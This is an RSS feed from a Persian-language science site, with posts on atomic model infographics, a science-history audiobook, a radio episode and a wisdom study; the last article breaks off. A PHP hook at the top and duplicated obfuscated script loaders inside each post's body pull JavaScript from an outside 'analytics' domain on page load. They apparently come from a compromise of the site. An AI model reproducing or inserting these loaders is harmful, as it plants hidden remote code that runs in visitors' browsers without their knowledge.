/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>کتابخانه &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%da%a9%d8%aa%d8%a7%d8%a8%d8%ae%d8%a7%d9%86%d9%87/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 07:54:14 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>کتابخانه &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>اینفوگرافیک؛ مدل اتمی تامسون</title>
		<link>https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%aa%d8%a7%d9%85%d8%b3%d9%88%d9%86-%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9/</link>
					<comments>https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%aa%d8%a7%d9%85%d8%b3%d9%88%d9%86-%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Thu, 09 Jul 2020 17:23:04 +0000</pubDate>
				<category><![CDATA[اینفوگرافیک]]></category>
		<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[مدل اتمی تامسون]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6171</guid>

					<description><![CDATA[<p>برای برای کسب اطلاعات بیشتر در خصوص مدل اتمی تامسون می توانید مقاله مربوط به این مطلب را مطالعه بفرمائید.</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%aa%d8%a7%d9%85%d8%b3%d9%88%d9%86-%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9/">اینفوگرافیک؛ مدل اتمی تامسون</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>برای<img class="aligncenter size-medium wp-image-6172" src="https://theorium.net/wp-content/uploads/2020/07/2-2-300x300.jpg" alt="Thomson Atomic Models" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/07/2-2-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/07/2-2-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/07/2-2-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/07/2-2-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/07/2-2-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/07/2-2.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p>برای کسب اطلاعات بیشتر در خصوص مدل اتمی تامسون می توانید <a href="https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%aa%d8%a7%d9%85%d8%b3%d9%88%d9%86/" target="_blank" rel="noopener noreferrer">مقاله</a> مربوط به این مطلب را مطالعه بفرمائید.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%aa%d8%a7%d9%85%d8%b3%d9%88%d9%86-%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9/">اینفوگرافیک؛ مدل اتمی تامسون</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%aa%d8%a7%d9%85%d8%b3%d9%88%d9%86-%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>اینفوگرافیک؛ مدل اتمی دالتون</title>
		<link>https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%af%d8%a7%d9%84%d8%aa%d9%88%d9%86/</link>
					<comments>https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%af%d8%a7%d9%84%d8%aa%d9%88%d9%86/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Thu, 09 Jul 2020 17:17:08 +0000</pubDate>
				<category><![CDATA[اینفوگرافیک]]></category>
		<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[مدل اتمی]]></category>
		<category><![CDATA[مدل اتمی دالتون]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6165</guid>

					<description><![CDATA[<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%af%d8%a7%d9%84%d8%aa%d9%88%d9%86/">اینفوگرافیک؛ مدل اتمی دالتون</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-6167" src="https://theorium.net/wp-content/uploads/2020/07/1-1-300x300.jpg" alt="ِDolton atomic model" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/07/1-1-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/07/1-1-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/07/1-1-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/07/1-1-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/07/1-1-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/07/1-1.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%af%d8%a7%d9%84%d8%aa%d9%88%d9%86/">اینفوگرافیک؛ مدل اتمی دالتون</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%85%d8%af%d9%84-%d8%a7%d8%aa%d9%85%db%8c-%d8%af%d8%a7%d9%84%d8%aa%d9%88%d9%86/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>صد داستان ناگفته از علم</title>
		<link>https://theorium.net/%da%a9%d8%aa%d8%a7%d8%a8-%d8%b5%d9%88%d8%aa%db%8c-%d8%b5%d8%af-%d8%af%d8%a7%d8%b3%d8%aa%d8%a7%d9%86-%d9%86%d8%a7%da%af%d9%81%d8%aa%d9%87-%d8%a7%d8%b2-%d8%b9%d9%84%d9%85/</link>
					<comments>https://theorium.net/%da%a9%d8%aa%d8%a7%d8%a8-%d8%b5%d9%88%d8%aa%db%8c-%d8%b5%d8%af-%d8%af%d8%a7%d8%b3%d8%aa%d8%a7%d9%86-%d9%86%d8%a7%da%af%d9%81%d8%aa%d9%87-%d8%a7%d8%b2-%d8%b9%d9%84%d9%85/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 09 May 2020 14:34:47 +0000</pubDate>
				<category><![CDATA[کتاب صوتی]]></category>
		<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[تاریخ علم]]></category>
		<category><![CDATA[داروین]]></category>
		<category><![CDATA[راه آهن]]></category>
		<category><![CDATA[صد داستان ناگفته از علم]]></category>
		<category><![CDATA[موسیقی]]></category>
		<category><![CDATA[نیوتن]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5481</guid>

					<description><![CDATA[<p>صد داستان ناگفته از علم صد داستان ناگفته از علم ؛ یکی از جذاب‏ترین و خواندنی ‏ترین شاخه‏ های تاریخ، تاریخ علم و اختراعات است. خیلی از اختراعات و نظریه‏ های علمی که امروزه زندگی ما را دگرگون کرده‏ اند، بسیار اتفاقی و بدون نیت قبلی به وجود آمدند. کتاب حاضر آکنده است از سرگذشت [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%da%a9%d8%aa%d8%a7%d8%a8-%d8%b5%d9%88%d8%aa%db%8c-%d8%b5%d8%af-%d8%af%d8%a7%d8%b3%d8%aa%d8%a7%d9%86-%d9%86%d8%a7%da%af%d9%81%d8%aa%d9%87-%d8%a7%d8%b2-%d8%b9%d9%84%d9%85/">صد داستان ناگفته از علم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6><strong>صد داستان ناگفته از علم</strong></h6>
<p>صد داستان ناگفته از علم ؛ یکی از جذاب‏ترین و خواندنی ‏ترین شاخه‏ های تاریخ، تاریخ علم و اختراعات است. خیلی از اختراعات و نظریه‏ های علمی که امروزه زندگی ما را دگرگون کرده‏ اند، بسیار اتفاقی و بدون نیت قبلی به وجود آمدند.</p>
<p>کتاب حاضر آکنده است از سرگذشت ‏ها، رخدادهای تصادفی جالب و جرقه‏ هایی که در ذهن افراد زده شد و منجر به اختراعاتی مهیج گردید. داستان‏های واقعی از افراد مشهوری همچون ایزاک نیوتون گرفته تا دانشمند گمنامی مانند آلبرت پارکهوس در پیش روی خواننده قرار گرفته است.</p>
<p>برخی از این سرگذشت‏ ها مربوط به سالها و سده ‏های اخیر می‏ شوند و برخی حتی بیش از دو هزار سال قدمت دارند. در کتابی که پیش رو دارید داستان‏ های متعددی از مخترعین فراموش‏ شده ‏ای را می‏خوانید که ادواتی همچون رادیو، دوربین فیلمبرداری یا رایانه را خیلی زودتر از افراد معروفی که ما این اختراعات را به نام آنها می‏ شناسیم ابداع کرده ‏اند.</p>
<h6>در بخش هایی از کتاب صد داستان ناگفته از علم می خوانیم که؛</h6>
<p>اگر تصور می کنید که لامپ را توماس ادیسون اختراع کرد سخت در اشتباه هستید. ایده اختراع تلفن، اولین بار به ذهن الکساندر گراهام­ بل نرسیده بود. نخستین خودرو پیش از ریاست جمهوری جورج واشینگتن در شهر پاریس رانده شده بود.</p>
<p>دستگاه هایی که در هتل ها با انداختن سکه درون آنها نوشابه و آب میوه تحویل می دهند قدمتی دو هزار  ساله دارند. دستگاه نمابر را یک کشیش ایتالیایی در زمان جنگ داخلی ابداع کرد. پیگیری یک اشعه ی مرگبار منجر به اختراع رادار شد.، که آن نیز با آب کردن یک قطعه شکلات در جیب یک مخترع دیگر، الهام بخش اختراع ماکروفر شد.</p>
<p>مخترع دستگاه دروغ سنج، همان کسی است که داستان زن شگفت انگیز را خلق کرد. فکری که در پس ایده ی اختراع تلویزیون نهفته بود، متعلق به پسر جوانی است که مشغول شخم زدن زمین کشت سیب زمینی بود.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5889" src="https://theorium.net/wp-content/uploads/2020/05/science-300x300.jpg" alt="science" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/science-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/science-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/science-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/science-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/science-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/science.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>اگر به شنیدن داستان هایی این چنینی علاقه مند هستید، جای درستی آمده اید. کتاب صوتی ای که ما در بنیاد بین المللی تئوری ها و دکترین ها برای شما تهیه کرده ایم اثری از مجموعه ای است با نام &#8220;صد داستان ناگفته&#8221; که در راستای همکاری با شبکه ی ماهواره ای تاریخ (History) نوشته شده است. این کتاب آکنده است از سرگذشت ها، رخدادهای تصادفی جالب و جرقه هایی که در فکر افراد زده شد و منجر به اختراعات مهیج شده است.</p>
<h6>مشخصات کلی؛</h6>
<p>این کتاب نوشته ی ریک بیر  و ترجمه ی آقای ابراهیم صالح رامسری است که توسط انتشارات معین به چاپ رسیده است و ما در بنیاد بین المللی تئوری ها و دکتری ها قصد داریم بخش هایی از این کتاب را به صورت صوتی تهیه و در اختیار شما قرار دهیم.</p>
<p>شما اکنون می توانید بخش های <a href="https://youtu.be/uw9uaowN_a8" target="_blank" rel="noopener noreferrer">اول</a> ، <a href="https://youtu.be/BFVZ7zr4-SY" target="_blank" rel="noopener noreferrer">دوم</a> ، <a href="https://youtu.be/omxN4BDOY8Q" target="_blank" rel="noopener noreferrer">سوم</a>، <a href="https://youtu.be/cuVzvC6HlvM" target="_blank" rel="noopener noreferrer">چهارم</a>، <a href="https://youtu.be/dyiA0D8s-rs" target="_blank" rel="noopener noreferrer">پنجم، </a><a href="https://youtu.be/bqTAXtbTHIE" target="_blank" rel="noopener noreferrer">ششم</a> و <a href="https://youtu.be/tFHCpIV4GyE" target="_blank" rel="noopener noreferrer">هفتم</a> از این کتاب صوتی را از طریق کانال یوتیوب بنیاد بین المللی تئوری ها و نظریه ها  و همچنین می توانید بخش های مختلف  این کتاب را از  <a href="https://t.me/Cafeetheory" target="_blank" rel="noopener noreferrer">کانال تلگرام</a> ما نیز بشنوید.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%da%a9%d8%aa%d8%a7%d8%a8-%d8%b5%d9%88%d8%aa%db%8c-%d8%b5%d8%af-%d8%af%d8%a7%d8%b3%d8%aa%d8%a7%d9%86-%d9%86%d8%a7%da%af%d9%81%d8%aa%d9%87-%d8%a7%d8%b2-%d8%b9%d9%84%d9%85/">صد داستان ناگفته از علم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%da%a9%d8%aa%d8%a7%d8%a8-%d8%b5%d9%88%d8%aa%db%8c-%d8%b5%d8%af-%d8%af%d8%a7%d8%b3%d8%aa%d8%a7%d9%86-%d9%86%d8%a7%da%af%d9%81%d8%aa%d9%87-%d8%a7%d8%b2-%d8%b9%d9%84%d9%85/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>نظریه و فرضیه ؛ قسمت اول رادیو تئوری</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%88-%d9%81%d8%b1%d8%b6%db%8c%d9%87-%d8%b1%d8%a7%d8%af%db%8c%d9%88-%d8%aa%d8%a6%d9%88%d8%b1%db%8c-%d9%82%d8%b3%d9%85%d8%aa-%d8%a7%d9%88%d9%84/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%88-%d9%81%d8%b1%d8%b6%db%8c%d9%87-%d8%b1%d8%a7%d8%af%db%8c%d9%88-%d8%aa%d8%a6%d9%88%d8%b1%db%8c-%d9%82%d8%b3%d9%85%d8%aa-%d8%a7%d9%88%d9%84/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 09 May 2020 14:17:44 +0000</pubDate>
				<category><![CDATA[رادیو تئوری]]></category>
		<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[اینشتین]]></category>
		<category><![CDATA[داروین]]></category>
		<category><![CDATA[قسمت اول]]></category>
		<category><![CDATA[ماری کوری]]></category>
		<category><![CDATA[نسبیت]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5478</guid>

					<description><![CDATA[<p>نظریه و فرضیه ؛ قسمت اول رادیو تئوری نظریه و فرضیه ؛ رادیو تئوری برنامه ای است که توسط بنیاد بین المللی تئوری ها و دکترین ها تولید شده است. شما در این سری برنامه ها حول محور نظریه ها و فرضیه ها مطالبی خواهید شنید. دوستان ما که این برنامه رادیویی را برای شما [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%88-%d9%81%d8%b1%d8%b6%db%8c%d9%87-%d8%b1%d8%a7%d8%af%db%8c%d9%88-%d8%aa%d8%a6%d9%88%d8%b1%db%8c-%d9%82%d8%b3%d9%85%d8%aa-%d8%a7%d9%88%d9%84/">نظریه و فرضیه ؛ قسمت اول رادیو تئوری</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6><strong>نظریه و فرضیه ؛ قسمت اول رادیو تئوری</strong></h6>
<p>نظریه و فرضیه ؛ رادیو تئوری برنامه ای است که توسط بنیاد بین المللی تئوری ها و دکترین ها تولید شده است.</p>
<p>شما در این سری برنامه ها حول محور نظریه ها و فرضیه ها مطالبی خواهید شنید.</p>
<p>دوستان ما که این برنامه رادیویی را برای شما تهیه کرده اند با وجود اینکه هر کدام متخصص در موضوعات علمی اند تلاش کرده اند که مطالب ارائه شده به دور از بحث های تخصصی ای که خارج از حوصله ی عموم است مطالب شان را بیان کنند تا از این گذر مخاطبانی که اطلاعات تخصصی چندانی نیز در زمینه علوم مختلف ندارند به سادگی بتوانند از محتوای برنامه استفاده کنند.</p>
<p>همچنین در تولید محتوای این برنامه توجه و تمرکز بر کارا بودن علم در زندگی روزمره و قابل لمس بودن این موارد برای مخاطبان است.</p>
<p>در قسمت اول این برنامه نگاهی به موضوع نظریه ها شده است و تهیه کنندگان این برنامه امیدوار بوده اند تا پس از شنیدن آن شما با مفهوم &#8220;نظریه&#8221; و همچنین با ۵ نظریه کاربردی که زندگی بشر را دگرگون کرده است و جهان را تغییر داده آشنا شده باشید.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5886" src="https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index-300x297.jpg" alt="Radio Theory Index" width="300" height="297" srcset="https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index-300x297.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index-600x594.jpg 600w, https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index-525x520.jpg 525w, https://theorium.net/wp-content/uploads/2020/05/Radio-Theory-Index.jpg 769w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>این نظریه ها شامل؛</p>
<ul>
<li>
<h6><strong>نظریه</strong> <strong>کوانتوم</strong></h6>
</li>
</ul>
<p>نظریه کوانتوم، گربه ی شرودینگر و نگاه کوانتومی به جهان توضیحاتی ارائه خواهد شد.</p>
<ul>
<li>
<h6><strong>سلول های بنیادی</strong></h6>
</li>
</ul>
<p>در این بخش نگاهی خواهیم داشت به تاریخچه­ی تحقیقات علمی در زمینه ی سلول های بنیادی و دامنه ی کاربردهای این علم خواهیم داشت.</p>
<ul>
<li>
<h6><strong>نظریه</strong> <strong style="font-size: 16px;">فرگشت</strong></h6>
</li>
</ul>
<p>نظریه فرگشت و نظریه پرداز معروف آن یعنی چارلز داروین موضوع بعدی است که ما به آن پرداخته ایم. در کنار داروین با نظریه پردازان دیگری که تقریباً هم راه و هم نظر با داروین وبده اند نیز آشنا خواهیم شد. ما در خوانش از این نظریه به اصلاح ژنتیکی در گذر زمان و محصولات آن اشاراتی کرده ایم.</p>
<ul>
<li>
<h6><strong>مفهوم تابش و نقش اشعه ی ایکس</strong></h6>
</li>
</ul>
<p>در این بخش هم به انواع مختلف تابش و تعاریف و دامنه ی کارکرد این تابش ها در زندگی انسان ها خواهیم پرداخت. در کنار این مفاهیم به نقش ماری کوری و مفهوم رادیو اکتیو هم خواهیم پرداخت.</p>
<ul>
<li>
<h6><strong>نظریه نسبیت</strong></h6>
</li>
</ul>
<p>وقتی صحبت از <a href="https://theorium.net/5433-2-%d8%a7%d8%b2-%d8%a8%d8%b1%d9%84%db%8c%d9%86-%d8%aa%d8%a7-%d8%a7%d9%88%d8%ac-%d8%b4%d9%87%d8%b1%d8%aa/" target="_blank" rel="noopener noreferrer">نسبیت</a> به میان میاد حتماً یاد آلبرت اینشتین می افتیم! همین طور ممکنه سوال کنیم کدام نظریه نسبیت؟ نسبیت خاص یا نسبیت عام؟ در این مورد هم ما به ارائه ی تاریخچه ای کوتاه در خصوص این نظریه و محدوده ی تأثیرگذاری آن خواهیم پرداخت.</p>
<p>شما می توانید این برنامه را از طریق <a href="https://t.me/Cafeetheory/29" target="_blank" rel="noopener noreferrer">کانال تلگرام</a> و یا <a href="https://youtu.be/42IRvotZA1I" target="_blank" rel="noopener noreferrer">کانال یوتیوب</a> ما بشنوید.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%88-%d9%81%d8%b1%d8%b6%db%8c%d9%87-%d8%b1%d8%a7%d8%af%db%8c%d9%88-%d8%aa%d8%a6%d9%88%d8%b1%db%8c-%d9%82%d8%b3%d9%85%d8%aa-%d8%a7%d9%88%d9%84/">نظریه و فرضیه ؛ قسمت اول رادیو تئوری</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%88-%d9%81%d8%b1%d8%b6%db%8c%d9%87-%d8%b1%d8%a7%d8%af%db%8c%d9%88-%d8%aa%d8%a6%d9%88%d8%b1%db%8c-%d9%82%d8%b3%d9%85%d8%aa-%d8%a7%d9%88%d9%84/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>خرد با ذهن و قلب در ارتباط است</title>
		<link>https://theorium.net/%d8%ae%d8%b1%d8%af-%d8%a8%d8%a7-%d8%b0%d9%87%d9%86-%d9%88-%d9%82%d9%84%d8%a8-%d8%af%d8%b1-%d8%a7%d8%b1%d8%aa%d8%a8%d8%a7%d8%b7-%d8%a7%d8%b3%d8%aa/</link>
					<comments>https://theorium.net/%d8%ae%d8%b1%d8%af-%d8%a8%d8%a7-%d8%b0%d9%87%d9%86-%d9%88-%d9%82%d9%84%d8%a8-%d8%af%d8%b1-%d8%a7%d8%b1%d8%aa%d8%a8%d8%a7%d8%b7-%d8%a7%d8%b3%d8%aa/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sun, 03 May 2020 11:39:56 +0000</pubDate>
				<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[مقالات]]></category>
		<category><![CDATA[ایگور گروسمن]]></category>
		<category><![CDATA[حافظه کاری]]></category>
		<category><![CDATA[خرد]]></category>
		<category><![CDATA[ذهن]]></category>
		<category><![CDATA[قضاوت خردمندانه]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5461</guid>

					<description><![CDATA[<p>خرد با ذهن و قلب در ارتباط است؛ خرد با ذهن و قلب در ارتباط است ؛ بر اساس تحقیقات جدید، نوسانات ضربان قلب ممکن است خرد شما را تحت تاثیر قرار دهد. این مطالعه نشان می دهد که خرد با ذهن و قلب در ارتباط است و تغییرات ضربان قلب و فرآیند تفکر هر [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ae%d8%b1%d8%af-%d8%a8%d8%a7-%d8%b0%d9%87%d9%86-%d9%88-%d9%82%d9%84%d8%a8-%d8%af%d8%b1-%d8%a7%d8%b1%d8%aa%d8%a8%d8%a7%d8%b7-%d8%a7%d8%b3%d8%aa/">خرد با ذهن و قلب در ارتباط است</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6><strong>خرد با ذهن و قلب در ارتباط است؛</strong></h6>
<p>خرد با ذهن و قلب در ارتباط است ؛ بر اساس تحقیقات جدید، نوسانات ضربان قلب ممکن است خرد شما را تحت تاثیر قرار دهد. این مطالعه نشان می دهد که خرد با ذهن و قلب در ارتباط است و تغییرات ضربان قلب و فرآیند تفکر هر دو در استدلال‌های پیچیده اجتماعی نقش دارند.</p>
<p>این مطالعه بیان می‌کند که تغییرات ضربان قلب و فرآیند تفکر هر دو در استدلال‌های پیچیده اجتماعی نقش دارند. کاری که توسط &#8221; ایگور گروسمن&#8221; ، استاد روان شناسی در دانشگاه واترلو و همکارانش در دانشگاه استرالیایی کاتولیک انجام شده است و در مجله برخط Frontiers in Behavioral Neuroscience. منشر شده است.</p>
<p>مطالعه آنان، با شناسایی شرایطی که در آن سایکوفیزیولوژی روی قضاوت خردمندانه تاثیر می‌گذارند، زمینه های جدیدی را در رابطه با تحقیقات مربوط به خرد ایجاد کرده است.</p>
<p>پروفسور  گروسمن : « مطالعه ما نشان می‌دهد که استدلال منطقی منحصراً تابعی از ذهن و توانایی‌های شناختی نیست. ما دریافتیم که افرادی که تغییرات ضربان قلب بیشتری دارند و توانایی تفکر در مورد مسایل اجتماعی را از دیدگاه گسترده تری دارند، ظرفیت بیشتری برای استدلال خردمندانه نشان می‌دهند».</p>
<p>این مطالعه کارهای قبلی را در مورد شالوده‌های شناختی قضاوت خردمندانه تا آنجا گسترش می‌دهد که بیان می‌کند که کارکرد قلب بر ذهن تاثیر می‌گذارد.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5924" src="https://theorium.net/wp-content/uploads/2020/05/Wisdom-Heart-300x300.jpg" alt="Wisdom &amp; Heart" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/Wisdom-Heart-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/Wisdom-Heart-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/Wisdom-Heart-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/Wisdom-Heart-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/Wisdom-Heart-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/Wisdom-Heart.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>فلاسفه و دانشمندان علوم شناختی؛</h6>
